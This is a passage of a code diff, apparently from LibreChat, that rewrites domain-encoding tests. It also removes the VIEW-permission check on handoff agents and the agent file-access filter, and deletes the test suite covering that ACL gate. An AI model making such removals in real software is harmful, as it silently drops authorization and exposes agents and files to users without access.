+ const result2 = await domainParser(domain, true);
+ expect(result1).not.toEqual(domain);
+ expect(result2).not.toEqual(domain);
});
- describe('short-path encoding (hostname ≤ threshold)', () => {
- it.each([
- ['examp.com', `examp${SEP}com`],
- ['swapi.tech', `swapi${SEP}tech`],
- ['a.b', `a${SEP}b`],
- ])('replaces dots in %s → %s', async (domain, expected) => {
- expect(await domainParser(domain, true)).toBe(expected);
- });
-
- it('handles domain exactly at threshold length', async () => {
- const domain = 'a'.repeat(MAX - 4) + '.com';
- expect(domain).toHaveLength(MAX);
- const result = await domainParser(domain, true);
- expect(result).toBe(domain.replace(/\./g, SEP));
- });
+ // Test for Empty or Null Inputs
+ it('returns undefined for null domain input', async () => {
+ const result = await domainParser(null, true);
+ expect(result).toBeUndefined();
});
- describe('base64-path encoding (hostname > threshold)', () => {
- it('produces a key of exactly ENCODED_DOMAIN_LENGTH chars', async () => {
- const result = await domainParser('api.example.com', true);
- expect(result).toHaveLength(MAX);
- });
-
- it('encodes hostname, not full URL', async () => {
- const hostname = 'api.example.com';
- const expectedKey = Buffer.from(hostname).toString('base64').substring(0, MAX);
- expect(await domainParser(hostname, true)).toBe(expectedKey);
- });
-
- it('populates decode cache for round-trip', async () => {
- const hostname = 'longdomainname.com';
- const key = await domainParser(hostname, true);
-
- expect(mockDomainCache[key]).toBe(Buffer.from(hostname).toString('base64'));
- expect(await domainParser(key, false)).toBe(hostname);
- });
+ it('returns undefined for empty domain input', async () => {
+ const result = await domainParser('', true);
+ expect(result).toBeUndefined();
});
- describe('protocol stripping', () => {
- it('https:// URL and bare hostname produce identical encoding', async () => {
- const encoded = await domainParser('https://swapi.tech', true);
- expect(encoded).toBe(await domainParser('swapi.tech', true));
- expect(encoded).toBe(`swapi${SEP}tech`);
- });
+ // Verify Correct Caching Behavior
+ it('caches encoded domain correctly', async () => {
+ const domain = 'longdomainname.com';
+ const encodedDomain = Buffer.from(domain)
+ .toString('base64')
+ .substring(0, Constants.ENCODED_DOMAIN_LENGTH);
- it('http:// URL and bare hostname produce identical encoding', async () => {
- const encoded = await domainParser('http://api.example.com', true);
- expect(encoded).toBe(await domainParser('api.example.com', true));
- });
+ await domainParser(domain, true);
- it('different https:// domains produce unique keys', async () => {
- const keys = await Promise.all([
- domainParser('https://api.example.com', true),
- domainParser('https://api.weather.com', true),
- domainParser('https://data.github.com', true),
- ]);
- const unique = new Set(keys);
- expect(unique.size).toBe(keys.length);
- });
-
- it('long hostname after stripping still uses base64 path', async () => {
- const result = await domainParser('https://api.example.com', true);
- expect(result).toHaveLength(MAX);
- expect(result).not.toContain(SEP);
- });
-
- it('short hostname after stripping uses dot-replacement path', async () => {
- const result = await domainParser('https://a.b.c', true);
- expect(result).toBe(`a${SEP}b${SEP}c`);
- });
-
- it('strips path and query from full URL before encoding', async () => {
- const result = await domainParser('https://api.example.com/v1/endpoint?foo=bar', true);
- expect(result).toBe(await domainParser('api.example.com', true));
- });
+ const cachedValue = await globalCache[encodedDomain];
+ expect(cachedValue).toEqual(Buffer.from(domain).toString('base64'));
});
- describe('unicode domains', () => {
- it('encodes unicode hostname via base64 path', async () => {
- const domain = 'täst.example.com';
- const result = await domainParser(domain, true);
- expect(result).toHaveLength(MAX);
- expect(result).toBe(Buffer.from(domain).toString('base64').substring(0, MAX));
- });
-
- it('round-trips unicode hostname through encode then decode', async () => {
- const domain = 'täst.example.com';
- const key = await domainParser(domain, true);
- expect(await domainParser(key, false)).toBe(domain);
- });
-
- it('strips protocol before encoding unicode hostname', async () => {
- const withProto = 'https://täst.example.com';
- const bare = 'täst.example.com';
- expect(await domainParser(withProto, true)).toBe(await domainParser(bare, true));
- });
+ // Test for Edge Cases Around Length Threshold
+ it('encodes domain exactly at threshold without modification', async () => {
+ const domain = 'a'.repeat(Constants.ENCODED_DOMAIN_LENGTH - TLD.length) + TLD;
+ const expected = domain.replace(/\./g, actionDomainSeparator);
+ const result = await domainParser(domain, true);
+ expect(result).toEqual(expected);
});
- describe('decode path', () => {
- it('short-path encoded domain decodes via separator replacement', async () => {
- expect(await domainParser(`examp${SEP}com`, false)).toBe('examp.com');
- });
+ it('encodes domain just below threshold without modification', async () => {
+ const domain = 'a'.repeat(Constants.ENCODED_DOMAIN_LENGTH - 1 - TLD.length) + TLD;
+ const expected = domain.replace(/\./g, actionDomainSeparator);
+ const result = await domainParser(domain, true);
+ expect(result).toEqual(expected);
+ });
- it('base64-path encoded domain decodes via cache lookup', async () => {
- const hostname = 'api.example.com';
- const key = await domainParser(hostname, true);
- expect(await domainParser(key, false)).toBe(hostname);
- });
+ // Test for Unicode Domain Names
+ it('handles unicode characters in domain names correctly when encoding', async () => {
+ const unicodeDomain = 'täst.example.com';
+ const encodedDomain = Buffer.from(unicodeDomain)
+ .toString('base64')
+ .substring(0, Constants.ENCODED_DOMAIN_LENGTH);
+ const result = await domainParser(unicodeDomain, true);
+ expect(result).toEqual(encodedDomain);
+ });
- it('returns input unchanged for unknown non-separator strings', async () => {
- expect(await domainParser('not_base64_encoded', false)).toBe('not_base64_encoded');
- });
+ it('decodes unicode domain names correctly', async () => {
+ const unicodeDomain = 'täst.example.com';
+ const encodedDomain = Buffer.from(unicodeDomain).toString('base64');
+ globalCache[encodedDomain.substring(0, Constants.ENCODED_DOMAIN_LENGTH)] = encodedDomain; // Simulate caching
- it('returns a string without throwing for corrupt cache entries', async () => {
- mockDomainCache['corrupt_key'] = '!!!';
- const result = await domainParser('corrupt_key', false);
- expect(typeof result).toBe('string');
- });
- });
-});
-
-describe('legacyDomainEncode', () => {
- it.each(['', null, undefined])('returns empty string for %j', (input) => {
- expect(legacyDomainEncode(input)).toBe('');
- });
-
- it('is synchronous (returns a string, not a Promise)', () => {
- const result = legacyDomainEncode('examp.com');
- expect(result).toBe(`examp${SEP}com`);
- expect(result).not.toBeInstanceOf(Promise);
- });
-
- it('uses dot-replacement for short domains', () => {
- expect(legacyDomainEncode('examp.com')).toBe(`examp${SEP}com`);
- });
-
- it('uses base64 prefix of full input for long domains', () => {
- const domain = 'https://swapi.tech';
- const expected = Buffer.from(domain).toString('base64').substring(0, MAX);
- expect(legacyDomainEncode(domain)).toBe(expected);
- });
-
- it('all https:// URLs collide to the same key', () => {
- const results = [
- legacyDomainEncode('https://api.example.com'),
- legacyDomainEncode('https://api.weather.com'),
- legacyDomainEncode('https://totally.different.host'),
- ];
- expect(new Set(results).size).toBe(1);
- });
-
- it('matches what old domainParser would have produced', () => {
- const domain = 'https://api.example.com';
- const legacy = legacyDomainEncode(domain);
- expect(legacy).toBe(Buffer.from(domain).toString('base64').substring(0, MAX));
- });
-
- it('produces same result as new domainParser for short bare hostnames', async () => {
- const domain = 'swapi.tech';
- expect(legacyDomainEncode(domain)).toBe(await domainParser(domain, true));
- });
-});
-
-describe('validateAndUpdateTool', () => {
- const mockReq = { user: { id: 'user123' } };
-
- it('returns tool unchanged when name passes tool-name regex', async () => {
- const tool = { function: { name: 'getPeople_action_swapi---tech' } };
- const result = await validateAndUpdateTool({
- req: mockReq,
- tool,
- assistant_id: 'asst_1',
- });
- expect(result).toEqual(tool);
- expect(getActions).not.toHaveBeenCalled();
- });
-
- it('matches action when metadata.domain has https:// prefix and tool domain is bare hostname', async () => {
- getActions.mockResolvedValue([{ metadata: { domain: 'https://api.example.com' } }]);
-
- const tool = { function: { name: `getPeople${DELIM}api.example.com` } };
- const result = await validateAndUpdateTool({
- req: mockReq,
- tool,
- assistant_id: 'asst_1',
- });
-
- expect(result).not.toBeNull();
- expect(result.function.name).toMatch(/^getPeople_action_/);
- expect(result.function.name).not.toContain('.');
- });
-
- it('matches action when metadata.domain has no protocol', async () => {
- getActions.mockResolvedValue([{ metadata: { domain: 'api.example.com' } }]);
-
- const tool = { function: { name: `getPeople${DELIM}api.example.com` } };
- const result = await validateAndUpdateTool({
- req: mockReq,
- tool,
- assistant_id: 'asst_1',
- });
-
- expect(result).not.toBeNull();
- expect(result.function.name).toMatch(/^getPeople_action_/);
- });
-
- it('returns null when no action matches the domain', async () => {
- getActions.mockResolvedValue([{ metadata: { domain: 'https://other.domain.com' } }]);
-
- const tool = { function: { name: `getPeople${DELIM}api.example.com` } };
- const result = await validateAndUpdateTool({
- req: mockReq,
- tool,
- assistant_id: 'asst_1',
- });
-
- expect(result).toBeNull();
- });
-
- it('returns null when action has no metadata', async () => {
- getActions.mockResolvedValue([{ metadata: null }]);
-
- const tool = { function: { name: `getPeople${DELIM}api.example.com` } };
- const result = await validateAndUpdateTool({
- req: mockReq,
- tool,
- assistant_id: 'asst_1',
- });
-
- expect(result).toBeNull();
- });
-});
-
-describe('backward-compatible tool name matching', () => {
- function normalizeToolName(name) {
- return name.replace(domainSepRegex, '_');
- }
-
- function buildToolName(functionName, encodedDomain) {
- return `${functionName}${DELIM}${encodedDomain}`;
- }
-
- describe('definition-phase matching', () => {
- it('new encoding matches agent tools stored with new encoding', async () => {
- const metadataDomain = 'https://swapi.tech';
- const encoded = await domainParser(metadataDomain, true);
- const normalized = normalizeToolName(encoded);
-
- const storedTool = buildToolName('getPeople', encoded);
- const defToolName = `getPeople${DELIM}${normalized}`;
-
- expect(normalizeToolName(storedTool)).toBe(defToolName);
- });
-
- it('legacy encoding matches agent tools stored with legacy encoding', async () => {
- const metadataDomain = 'https://swapi.tech';
- const legacy = legacyDomainEncode(metadataDomain);
- const legacyNormalized = normalizeToolName(legacy);
-
- const storedTool = buildToolName('getPeople', legacy);
- const legacyDefName = `getPeople${DELIM}${legacyNormalized}`;
-
- expect(normalizeToolName(storedTool)).toBe(legacyDefName);
- });
-
- it('new definition matches old stored tools via legacy fallback', async () => {
- const metadataDomain = 'https://swapi.tech';
- const newDomain = await domainParser(metadataDomain, true);
- const legacyDomain = legacyDomainEncode(metadataDomain);
- const newNorm = normalizeToolName(newDomain);
- const legacyNorm = normalizeToolName(legacyDomain);
-
- const oldStoredTool = buildToolName('getPeople', legacyDomain);
- const newToolName = `getPeople${DELIM}${newNorm}`;
- const legacyToolName = `getPeople${DELIM}${legacyNorm}`;
-
- const storedNormalized = normalizeToolName(oldStoredTool);
- const hasMatch = storedNormalized === newToolName || storedNormalized === legacyToolName;
- expect(hasMatch).toBe(true);
- });
-
- it('pre-normalized Set eliminates per-tool normalization', async () => {
- const metadataDomain = 'https://api.example.com';
- const domain = await domainParser(metadataDomain, true);
- const legacyDomain = legacyDomainEncode(metadataDomain);
- const normalizedDomain = normalizeToolName(domain);
- const legacyNormalized = normalizeToolName(legacyDomain);
-
- const storedTools = [
- buildToolName('getWeather', legacyDomain),
- buildToolName('getForecast', domain),
- ];
-
- const preNormalized = new Set(storedTools.map((t) => normalizeToolName(t)));
-
- const toolName = `getWeather${DELIM}${normalizedDomain}`;
- const legacyToolName = `getWeather${DELIM}${legacyNormalized}`;
- expect(preNormalized.has(toolName) || preNormalized.has(legacyToolName)).toBe(true);
- });
- });
-
- describe('execution-phase tool lookup', () => {
- it('model-called tool name resolves via normalizedToDomain map (new encoding)', async () => {
- const metadataDomain = 'https://api.example.com';
- const domain = await domainParser(metadataDomain, true);
- const normalized = normalizeToolName(domain);
-
- const normalizedToDomain = new Map();
- normalizedToDomain.set(normalized, domain);
-
- const modelToolName = `getWeather${DELIM}${normalized}`;
-
- let matched = '';
- for (const [norm, canonical] of normalizedToDomain.entries()) {
- if (modelToolName.includes(norm)) {
- matched = canonical;
- break;
- }
- }
-
- expect(matched).toBe(domain);
-
- const functionName = modelToolName.replace(`${DELIM}${normalizeToolName(matched)}`, '');
- expect(functionName).toBe('getWeather');
- });
-
- it('model-called tool name resolves via legacy entry in normalizedToDomain map', async () => {
- const metadataDomain = 'https://api.example.com';
- const domain = await domainParser(metadataDomain, true);
- const legacyDomain = legacyDomainEncode(metadataDomain);
- const legacyNorm = normalizeToolName(legacyDomain);
-
- const normalizedToDomain = new Map();
- normalizedToDomain.set(normalizeToolName(domain), domain);
- normalizedToDomain.set(legacyNorm, domain);
-
- const legacyModelToolName = `getWeather${DELIM}${legacyNorm}`;
-
- let matched = '';
- for (const [norm, canonical] of normalizedToDomain.entries()) {
- if (legacyModelToolName.includes(norm)) {
- matched = canonical;
- break;
- }
- }
-
- expect(matched).toBe(domain);
- });
-
- it('legacy guard skips duplicate map entry for short bare hostnames', async () => {
- const domain = 'swapi.tech';
- const newEncoding = await domainParser(domain, true);
- const legacyEncoding = legacyDomainEncode(domain);
-
- expect(newEncoding).toBe(legacyEncoding);
-
- const normalizedToDomain = new Map();
- normalizedToDomain.set(newEncoding, newEncoding);
- if (legacyEncoding !== newEncoding) {
- normalizedToDomain.set(legacyEncoding, newEncoding);
- }
- expect(normalizedToDomain.size).toBe(1);
- });
- });
-
- describe('processRequiredActions matching (assistants path)', () => {
- it('legacy tool from OpenAI matches via normalizedToDomain with both encodings', async () => {
- const metadataDomain = 'https://swapi.tech';
- const domain = await domainParser(metadataDomain, true);
- const legacyDomain = legacyDomainEncode(metadataDomain);
-
- const normalizedToDomain = new Map();
- normalizedToDomain.set(domain, domain);
- if (legacyDomain !== domain) {
- normalizedToDomain.set(legacyDomain, domain);
- }
-
- const legacyToolName = buildToolName('getPeople', legacyDomain);
-
- let currentDomain = '';
- let matchedKey = '';
- for (const [key, canonical] of normalizedToDomain.entries()) {
- if (legacyToolName.includes(key)) {
- currentDomain = canonical;
- matchedKey = key;
- break;
- }
- }
-
- expect(currentDomain).toBe(domain);
- expect(matchedKey).toBe(legacyDomain);
-
- const functionName = legacyToolName.replace(`${DELIM}${matchedKey}`, '');
- expect(functionName).toBe('getPeople');
- });
-
- it('new tool name matches via the canonical domain key', async () => {
- const metadataDomain = 'https://swapi.tech';
- const domain = await domainParser(metadataDomain, true);
- const legacyDomain = legacyDomainEncode(metadataDomain);
-
- const normalizedToDomain = new Map();
- normalizedToDomain.set(domain, domain);
- if (legacyDomain !== domain) {
- normalizedToDomain.set(legacyDomain, domain);
- }
-
- const newToolName = buildToolName('getPeople', domain);
-
- let currentDomain = '';
- let matchedKey = '';
- for (const [key, canonical] of normalizedToDomain.entries()) {
- if (newToolName.includes(key)) {
- currentDomain = canonical;
- matchedKey = key;
- break;
- }
- }
-
- expect(currentDomain).toBe(domain);
- expect(matchedKey).toBe(domain);
-
- const functionName = newToolName.replace(`${DELIM}${matchedKey}`, '');
- expect(functionName).toBe('getPeople');
- });
- });
-
- describe('save-route cleanup', () => {
- it('tool filter removes tools matching new encoding', async () => {
- const metadataDomain = 'https://swapi.tech';
- const domain = await domainParser(metadataDomain, true);
- const legacyDomain = legacyDomainEncode(metadataDomain);
-
- const tools = [
- buildToolName('getPeople', domain),
- buildToolName('unrelated', 'other---domain'),
- ];
-
- const filtered = tools.filter((t) => !t.includes(domain) && !t.includes(legacyDomain));
-
- expect(filtered).toEqual([buildToolName('unrelated', 'other---domain')]);
- });
-
- it('tool filter removes tools matching legacy encoding', async () => {
- const metadataDomain = 'https://swapi.tech';
- const domain = await domainParser(metadataDomain, true);
- const legacyDomain = legacyDomainEncode(metadataDomain);
-
- const tools = [
- buildToolName('getPeople', legacyDomain),
- buildToolName('unrelated', 'other---domain'),
- ];
-
- const filtered = tools.filter((t) => !t.includes(domain) && !t.includes(legacyDomain));
-
- expect(filtered).toEqual([buildToolName('unrelated', 'other---domain')]);
- });
- });
-
- describe('delete-route domain extraction', () => {
- it('domain extracted from actions array is usable as-is for tool filtering', async () => {
- const metadataDomain = 'https://api.example.com';
- const domain = await domainParser(metadataDomain, true);
- const actionId = 'abc123';
- const actionEntry = `${domain}${DELIM}${actionId}`;
-
- const [storedDomain] = actionEntry.split(DELIM);
- expect(storedDomain).toBe(domain);
-
- const tools = [buildToolName('getWeather', domain), buildToolName('getPeople', 'other')];
-
- const filtered = tools.filter((t) => !t.includes(storedDomain));
- expect(filtered).toEqual([buildToolName('getPeople', 'other')]);
- });
- });
-
- describe('multi-action agents (collision scenario)', () => {
- it('two https:// actions now produce distinct tool names', async () => {
- const domain1 = await domainParser('https://api.weather.com', true);
- const domain2 = await domainParser('https://api.spacex.com', true);
-
- const tool1 = buildToolName('getData', domain1);
- const tool2 = buildToolName('getData', domain2);
-
- expect(tool1).not.toBe(tool2);
- });
-
- it('two https:// actions used to collide in legacy encoding', () => {
- const legacy1 = legacyDomainEncode('https://api.weather.com');
- const legacy2 = legacyDomainEncode('https://api.spacex.com');
-
- const tool1 = buildToolName('getData', legacy1);
- const tool2 = buildToolName('getData', legacy2);
-
- expect(tool1).toBe(tool2);
- });
+ const result = await domainParser(
+ encodedDomain.substring(0, Constants.ENCODED_DOMAIN_LENGTH),
+ false,
+ );
+ expect(result).toEqual(unicodeDomain);
+ });
+
+ // Core Functionality Tests
+ it('returns domain with replaced separators if no cached domain exists', async () => {
+ const domain = 'example.com';
+ const withSeparator = domain.replace(/\./g, actionDomainSeparator);
+ const result = await domainParser(withSeparator, false);
+ expect(result).toEqual(domain);
+ });
+
+ it('returns domain with replaced separators when inverse is false and under encoding length', async () => {
+ const domain = 'examp.com';
+ const withSeparator = domain.replace(/\./g, actionDomainSeparator);
+ const result = await domainParser(withSeparator, false);
+ expect(result).toEqual(domain);
+ });
+
+ it('replaces periods with actionDomainSeparator when inverse is true and under encoding length', async () => {
+ const domain = 'examp.com';
+ const expected = domain.replace(/\./g, actionDomainSeparator);
+ const result = await domainParser(domain, true);
+ expect(result).toEqual(expected);
+ });
+
+ it('encodes domain when length is above threshold and inverse is true', async () => {
+ const domain = 'a'.repeat(Constants.ENCODED_DOMAIN_LENGTH + 1).concat('.com');
+ const result = await domainParser(domain, true);
+ expect(result).not.toEqual(domain);
+ expect(result.length).toBeLessThanOrEqual(Constants.ENCODED_DOMAIN_LENGTH);
+ });
+
+ it('returns encoded value if no encoded value is cached, and inverse is false', async () => {
+ const originalDomain = 'example.com';
+ const encodedDomain = Buffer.from(
+ originalDomain.replace(/\./g, actionDomainSeparator),
+ ).toString('base64');
+ const result = await domainParser(encodedDomain, false);
+ expect(result).toEqual(encodedDomain);
+ });
+
+ it('decodes encoded value if cached and encoded value is provided, and inverse is false', async () => {
+ const originalDomain = 'example.com';
+ const encodedDomain = await domainParser(originalDomain, true);
+ const result = await domainParser(encodedDomain, false);
+ expect(result).toEqual(originalDomain);
+ });
+
+ it('handles invalid base64 encoded values gracefully', async () => {
+ const invalidBase64Domain = 'not_base64_encoded';
+ const result = await domainParser(invalidBase64Domain, false);
+ expect(result).toEqual(invalidBase64Domain);
});
});
diff --git a/api/server/services/Endpoints/agents/addedConvo.js b/api/server/services/Endpoints/agents/addedConvo.js
index 11b87e450e..7e9385267a 100644
--- a/api/server/services/Endpoints/agents/addedConvo.js
+++ b/api/server/services/Endpoints/agents/addedConvo.js
@@ -1,7 +1,6 @@
const { logger } = require('@librechat/data-schemas');
const { initializeAgent, validateAgentModel } = require('@librechat/api');
const { loadAddedAgent, setGetAgent, ADDED_AGENT_ID } = require('~/models/loadAddedAgent');
-const { filterFilesByAgentAccess } = require('~/server/services/Files/permissions');
const { getConvoFiles } = require('~/models/Conversation');
const { getAgent } = require('~/models/Agent');
const db = require('~/models');
@@ -56,16 +55,16 @@ const processAddedConvo = async ({
userMCPAuthMap,
}) => {
const addedConvo = endpointOption.addedConvo;
+ logger.debug('[processAddedConvo] Called with addedConvo:', {
+ hasAddedConvo: addedConvo != null,
+ addedConvoEndpoint: addedConvo?.endpoint,
+ addedConvoModel: addedConvo?.model,
+ addedConvoAgentId: addedConvo?.agent_id,
+ });
if (addedConvo == null) {
return { userMCPAuthMap };
}
- logger.debug('[processAddedConvo] Processing added conversation', {
- model: addedConvo.model,
- agentId: addedConvo.agent_id,
- endpoint: addedConvo.endpoint,
- });
-
try {
const addedAgent = await loadAddedAgent({ req, conversation: addedConvo, primaryAgent });
if (!addedAgent) {
@@ -109,7 +108,6 @@ const processAddedConvo = async ({
getUserKeyValues: db.getUserKeyValues,
getToolFilesByIds: db.getToolFilesByIds,
getCodeGeneratedFiles: db.getCodeGeneratedFiles,
- filterFilesByAgentAccess,
},
);
diff --git a/api/server/services/Endpoints/agents/initialize.js b/api/server/services/Endpoints/agents/initialize.js
index 08f631c3d2..0888f23cd5 100644
--- a/api/server/services/Endpoints/agents/initialize.js
+++ b/api/server/services/Endpoints/agents/initialize.js
@@ -10,8 +10,6 @@ const {
createSequentialChainEdges,
} = require('@librechat/api');
const {
- ResourceType,
- PermissionBits,
EModelEndpoint,
isAgentsEndpoint,
getResponseSender,
@@ -22,9 +20,7 @@ const {
getDefaultHandlers,
} = require('~/server/controllers/agents/callbacks');
const { loadAgentTools, loadToolsForExecution } = require('~/server/services/ToolService');
-const { filterFilesByAgentAccess } = require('~/server/services/Files/permissions');
const { getModelsConfig } = require('~/server/controllers/ModelController');
-const { checkPermission } = require('~/server/services/PermissionService');
const AgentClient = require('~/server/controllers/agents/client');
const { getConvoFiles } = require('~/models/Conversation');
const { processAddedConvo } = require('./addedConvo');
@@ -129,7 +125,6 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
toolRegistry: ctx.toolRegistry,
userMCPAuthMap: ctx.userMCPAuthMap,
tool_resources: ctx.tool_resources,
- actionsEnabled: ctx.actionsEnabled,
});
logger.debug(`[ON_TOOL_EXECUTE] loaded ${result.loadedTools?.length ?? 0} tools`);
@@ -205,19 +200,23 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
getUserCodeFiles: db.getUserCodeFiles,
getToolFilesByIds: db.getToolFilesByIds,
getCodeGeneratedFiles: db.getCodeGeneratedFiles,
- filterFilesByAgentAccess,
},
);
logger.debug(
- `[initializeClient] Storing tool context for ${primaryConfig.id}: ${primaryConfig.toolDefinitions?.length ?? 0} tools, registry size: ${primaryConfig.toolRegistry?.size ?? '0'}`,
+ `[initializeClient] Tool definitions for primary agent: ${primaryConfig.toolDefinitions?.length ?? 0}`,
+ );
+
+ /** Store primary agent's tool context for ON_TOOL_EXECUTE callback */
+ logger.debug(`[initializeClient] Storing tool context for agentId: ${primaryConfig.id}`);
+ logger.debug(
+ `[initializeClient] toolRegistry size: ${primaryConfig.toolRegistry?.size ?? 'undefined'}`,
);
agentToolContexts.set(primaryConfig.id, {
agent: primaryAgent,
toolRegistry: primaryConfig.toolRegistry,
userMCPAuthMap: primaryConfig.userMCPAuthMap,
tool_resources: primaryConfig.tool_resources,
- actionsEnabled: primaryConfig.actionsEnabled,
});
const agent_ids = primaryConfig.agent_ids;
@@ -236,22 +235,6 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
return null;
}
- const hasAccess = await checkPermission({
- userId: req.user.id,
- role: req.user.role,
- resourceType: ResourceType.AGENT,
- resourceId: agent._id,
- requiredPermission: PermissionBits.VIEW,
- });
-
- if (!hasAccess) {
- logger.warn(
- `[processAgent] User ${req.user.id} lacks VIEW access to handoff agent ${agentId}, skipping`,
- );
- skippedAgentIds.add(agentId);
- return null;
- }
-
const validationResult = await validateAgentModel({
req,
res,
@@ -286,7 +269,6 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
getUserCodeFiles: db.getUserCodeFiles,
getToolFilesByIds: db.getToolFilesByIds,
getCodeGeneratedFiles: db.getCodeGeneratedFiles,
- filterFilesByAgentAccess,
},
);
@@ -302,7 +284,6 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
toolRegistry: config.toolRegistry,
userMCPAuthMap: config.userMCPAuthMap,
tool_resources: config.tool_resources,
- actionsEnabled: config.actionsEnabled,
});
agentConfigs.set(agentId, config);
@@ -331,7 +312,6 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
}
} catch (err) {
logger.error(`[initializeClient] Error processing agent ${agentId}:`, err);
- skippedAgentIds.add(agentId);
}
}
@@ -341,12 +321,7 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
if (checkAgentInit(agentId)) {
continue;
}
- try {
- await processAgent(agentId);
- } catch (err) {
- logger.error(`[initializeClient] Error processing chain agent ${agentId}:`, err);
- skippedAgentIds.add(agentId);
- }
+ await processAgent(agentId);
}
const chain = await createSequentialChainEdges([primaryConfig.id].concat(agent_ids), '{convo}');
collectEdges(chain);
@@ -376,19 +351,6 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
userMCPAuthMap = updatedMCPAuthMap;
}
- for (const [agentId, config] of agentConfigs) {
- if (agentToolContexts.has(agentId)) {
- continue;
- }
- agentToolContexts.set(agentId, {
- agent: config,
- toolRegistry: config.toolRegistry,
- userMCPAuthMap: config.userMCPAuthMap,
- tool_resources: config.tool_resources,
- actionsEnabled: config.actionsEnabled,
- });
- }
-
// Ensure edges is an array when we have multiple agents (multi-agent mode)
// MultiAgentGraph.categorizeEdges requires edges to be iterable
if (agentConfigs.size > 0 && !edges) {
diff --git a/api/server/services/Endpoints/agents/initialize.spec.js b/api/server/services/Endpoints/agents/initialize.spec.js
deleted file mode 100644
index 16b41aca65..0000000000
--- a/api/server/services/Endpoints/agents/initialize.spec.js
+++ /dev/null
@@ -1,201 +0,0 @@
-const mongoose = require('mongoose');
-const {
- ResourceType,
- PermissionBits,
- PrincipalType,
- PrincipalModel,
-} = require('librechat-data-provider');
-const { MongoMemoryServer } = require('mongodb-memory-server');
-
-const mockInitializeAgent = jest.fn();
-const mockValidateAgentModel = jest.fn();
-
-jest.mock('@librechat/agents', () => ({
- ...jest.requireActual('@librechat/agents'),
- createContentAggregator: jest.fn(() => ({
- contentParts: [],
- aggregateContent: jest.fn(),
- })),
-}));
-
-jest.mock('@librechat/api', () => ({
- ...jest.requireActual('@librechat/api'),
- initializeAgent: (...args) => mockInitializeAgent(...args),
- validateAgentModel: (...args) => mockValidateAgentModel(...args),
- GenerationJobManager: { setCollectedUsage: jest.fn() },
- getCustomEndpointConfig: jest.fn(),
- createSequentialChainEdges: jest.fn(),
-}));
-
-jest.mock('~/server/controllers/agents/callbacks', () => ({
- createToolEndCallback: jest.fn(() => jest.fn()),
- getDefaultHandlers: jest.fn(() => ({})),
-}));
-
-jest.mock('~/server/services/ToolService', () => ({
- loadAgentTools: jest.fn(),
- loadToolsForExecution: jest.fn(),
-}));
-
-jest.mock('~/server/controllers/ModelController', () => ({
- getModelsConfig: jest.fn().mockResolvedValue({}),
-}));
-
-let agentClientArgs;
-jest.mock('~/server/controllers/agents/client', () => {
- return jest.fn().mockImplementation((args) => {
- agentClientArgs = args;
- return {};
- });
-});
-
-jest.mock('./addedConvo', () => ({
- processAddedConvo: jest.fn().mockResolvedValue({ userMCPAuthMap: undefined }),
-}));
-
-jest.mock('~/cache', () => ({
- logViolation: jest.fn(),
-}));
-
-const { initializeClient } = require('./initialize');
-const { createAgent } = require('~/models/Agent');
-const { User, AclEntry } = require('~/db/models');
-
-const PRIMARY_ID = 'agent_primary';
-const TARGET_ID = 'agent_target';
-const AUTHORIZED_ID = 'agent_authorized';
-
-describe('initializeClient — processAgent ACL gate', () => {
- let mongoServer;
- let testUser;
-
- beforeAll(async () => {
- mongoServer = await MongoMemoryServer.create();
- await mongoose.connect(mongoServer.getUri());
- });
-
- afterAll(async () => {
- await mongoose.disconnect();
- await mongoServer.stop();
- });
-
- beforeEach(async () => {
- await mongoose.connection.dropDatabase();
- jest.clearAllMocks();
- agentClientArgs = undefined;
-
- testUser = await User.create({
- email: 'test@example.com',
- name: 'Test User',
- username: 'testuser',
- role: 'USER',
- });
-
- mockValidateAgentModel.mockResolvedValue({ isValid: true });
- });
-
- const makeReq = () => ({
- user: { id: testUser._id.toString(), role: 'USER' },
- body: { conversationId: 'conv_1', files: [] },
- config: { endpoints: {} },
- _resumableStreamId: null,
- });
-
- const makeEndpointOption = () => ({
- agent: Promise.resolve({
- id: PRIMARY_ID,
- name: 'Primary',
- provider: 'openai',
- model: 'gpt-4',
- tools: [],
- }),
- model_parameters: { model: 'gpt-4' },
- endpoint: 'agents',
- });
-
- const makePrimaryConfig = (edges) => ({
- id: PRIMARY_ID,
- endpoint: 'agents',
- edges,
- toolDefinitions: [],
- toolRegistry: new Map(),
- userMCPAuthMap: null,
- tool_resources: {},
- resendFiles: true,
- maxContextTokens: 4096,
- });
-
- it('should skip handoff agent and filter its edge when user lacks VIEW access', async () => {
- await createAgent({
- id: TARGET_ID,
- name: 'Target Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: new mongoose.Types.ObjectId(),
- tools: [],
- });
-
- const edges = [{ from: PRIMARY_ID, to: TARGET_ID, edgeType: 'handoff' }];
- mockInitializeAgent.mockResolvedValue(makePrimaryConfig(edges));
-
- await initializeClient({
- req: makeReq(),
- res: {},
- signal: new AbortController().signal,
- endpointOption: makeEndpointOption(),
- });
-
- expect(mockInitializeAgent).toHaveBeenCalledTimes(1);
- expect(agentClientArgs.agent.edges).toEqual([]);
- });
-
- it('should initialize handoff agent and keep its edge when user has VIEW access', async () => {
- const authorizedAgent = await createAgent({
- id: AUTHORIZED_ID,
- name: 'Authorized Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: new mongoose.Types.ObjectId(),
- tools: [],
- });
-
- await AclEntry.create({
- principalType: PrincipalType.USER,
- principalId: testUser._id,
- principalModel: PrincipalModel.USER,
- resourceType: ResourceType.AGENT,
- resourceId: authorizedAgent._id,
- permBits: PermissionBits.VIEW,
- grantedBy: testUser._id,
- });
-
- const edges = [{ from: PRIMARY_ID, to: AUTHORIZED_ID, edgeType: 'handoff' }];
- const handoffConfig = {
- id: AUTHORIZED_ID,
- edges: [],
- toolDefinitions: [],
- toolRegistry: new Map(),
- userMCPAuthMap: null,
- tool_resources: {},
- };
-
- let callCount = 0;
- mockInitializeAgent.mockImplementation(() => {
- callCount++;
- return callCount === 1
- ? Promise.resolve(makePrimaryConfig(edges))
- : Promise.resolve(handoffConfig);
- });
-
- await initializeClient({
- req: makeReq(),
- res: {},
- signal: new AbortController().signal,
